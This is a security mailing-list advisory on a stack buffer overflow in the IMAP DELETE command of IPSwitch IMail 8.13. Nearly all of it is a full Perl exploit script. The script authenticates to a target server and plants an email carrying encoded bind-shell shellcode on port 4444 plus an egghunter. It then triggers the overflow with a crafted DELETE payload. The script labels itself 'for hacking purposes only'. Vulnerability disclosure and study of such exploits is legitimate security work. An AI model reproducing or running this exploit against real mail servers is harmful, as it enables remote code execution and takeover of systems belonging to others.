The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
IPSwitch IMail Stack Overflow in DELETE Command
------------------------------------------------------------------------
SUMMARY
Due to improper bounds checking of IPSwitch's IMail web server, a buffer
overflow occurs when a lengthy DELETE command is sent to the IMAP server.
DETAILS
Vulnerable Systems:
* IPSwitch IMail version 8.13
Exploit:
#!/usr/bin/perl -w
###################################
#
# IPSwitch-IMail-8.13-DELETE - SECU
#
# Discovered by : Muts
# Coded by : Zatlander
# WWW.WHITEHAT.CO.IL
#
##################################
#
# Plain vanilla stack overflow in the DELETE command
# Restrictions:
# - Need valid authentication credentials
# - Input buffer only allows characters between x20 -> x7e
#
# Credits:
# - http://www.metasploit.org - HD Moore for the metasploit shellcode
# - http://www.edup.tudelft.nl/~bjwever/menu.html - skylined for the ALPHA
ascii shellcode generator
# - http://www.hick.org - for the syscall egghunt code in the paper
"Understanding Windows Shellcode"
#
##################################
use IO::Socket;
use Getopt::Std;
use Mail::IMAPClient;
print "Exploit for the IPSwitch IMail DELETE buffer overflow\n";
print "C0d3d by Zatlander\n";
print "Discovered by Muts\n";
print "WWW.WHITEHAT.CO.IL\n";
print "For hacking purposes only!!!\n\n";
# Find shellcode with signature "w00tw00t"; start from esp
# from 0 -> $egghunter =
"TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIVSyBUco0OKbWdp00ptH0uXqRnkH
H2a3PLMvtvqzm6NulfePabTiaxbycrb09Gjt5xkTySjeTsEzFmSo2eXyoKRA";
$egghunter =
"TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINkN44skpmkt7fPTpptx0UXpBLKkx1Q3PLMtT4QxMVN5lc5sQS
DxqyrjSW2VYUJRUXkp9SjVdT5KVosKrWxioKRA";
# Real shellcode: bind shell on port 4444 ( ./alpha edx < shellcode.bin )
$shellcode =
"JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLjH2vUP7puPQCQEV6aGnkbLWT28NkpEWLlKpT35QhgqKZlK
PJvxLKQJWPuQXkKSdrSyLKgDLKuQJNVQ9okLP1KpLlP8kPBT7wyQXOVmvahGZKl25kSLwTGdqeKQlK2zUts1jKSVnktL0K
NkaJWlUQxkLK7tnkUQM8zKgrVQYP1OqNQMQKkreXWpSnSZp03i1tlKGilKSkvlLKQK5Lnk7kLKckTH0SSXLNpN6nJLKOJv
K9IWK1ZLuPfawps0Rwv63cMYiuJHDguPuPS0Np7qWp7pnV6ywhYwMttYt0Yym5QYK62inDvzd0Kwy4nMDniyXYUYkEN
MHKxmylgKpWPSVRSovS4ruPckLMpKupRqKOYGK9YOoyKsLMBUTTRJs7Ryv1RsYoTtNokOv534pYk9dDNnyrxrtkgWPT
KOtwIoRutpfQkp2ppPrpF0spPPaPv09oRuFLniYWuaYKScpSe86bC07a3lmYIpSZVpRpQGyoruQ4QCF7kOv5thBsSdSgIoR
uUpNiYWPhpCRmStwpoyXcLGyjDqIPnmQlQ4NLaz7e69zSlkNgJZosXlPTkvQT7TTP1TQvYWpDWTul5QUQLIcLTdRhK9S
LQ4RlmY1letPPLMSt5tFpqDrppQRqCaSqSa2iBqRqRspQKO45uPbH0rKNNS4VKOpU5TyoXPLIyvKO45S0QxnMN9fexN
Yov5S4oyHCbJKOKOTvkOzsyorU30BHl0MZfdaOkORu7tFQyKPSIo8PA";
getopts("h:u:p:", \%args);
if ((!defined $args{h}) || (!defined $args{u}) || (!defined $args{p})) {
print "Usage: $0 -h [host] -u [username] -p [password]\n";
exit;}
$usr = $args{u};
$pwd = $args{p};
$host = $args{h};
# jb +20; jnb +20 -> jump over return address (0x21 is first ascii safe
offset)
$jmp21 = "r!s!";
# 0x6921526A -> pointer to "CALL [EDX+8]" ends up in return address
##########################################################################
# This should hopefully be the only version dependent variable here.
# Find an ASCII safe address pointing to a CALL [EDX+8] for your OS
##########################################################################
$calledx8 = "jR!i";
# aAA aligns ESP with the egghunter shellcode (popad, pop, pop)
$asciieh = "aAA" . $egghunter;
$asciisc = "w00tw00t" . $shellcode;
$email =
"From: \"The guy hacking you\" <a\@b.com>\r\n" .
"To: \"Poor You\" <b\@c.com>\r\n" .
"Subject: $asciisc\r\n" .
"Date: Wed, 3 Nov 2004 14:45:11 +0100\r\n" .
"Message-ID: <000101c4c1acdcndj6d69b90$5e01a8c0\@snorlax>\r\n" .
"Content-Type: text/plain;\r\n\tcharset=\"us-ascii\"\r\n" .
"Content-Transfer-Encoding: 7bit\r\n" .
"\r\n" .
$asciisc;
$payload = "A" x 236 . $jmp21 x 3 . $calledx8 . "S" x 29 . $asciieh .
"\r\n";
print "Login in to $host as $usr/$pwd\n";
my $imap = Mail::IMAPClient->new( Server => $host, User => $usr,
Password=> $pwd) or die "Cannot connect: $@";
print "count: " . $imap->message_count("Inbox") . "\n";
print "Sending EGG\n";
$imap->select("Inbox") or die "Could not select: $@\n";
my $uid = $imap->append( "Inbox", $email ) or die "Cannot append: $@";
$msg = $imap->message_string($uid) or die "Cannot get message: $@";
#$msg = $imap->body_string($uid) or die "Cannot get message: $@";
#print "retrieving $uid back: $msg\n";
print "Overflowing DELETE\n";
$imap->delete($payload) or die "Cannot delete: $@n";
print("Finished...\n");
ADDITIONAL INFORMATION
The information has been provided by <mailto:jerome@athias.fr> JXrXme
ATHIAS.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
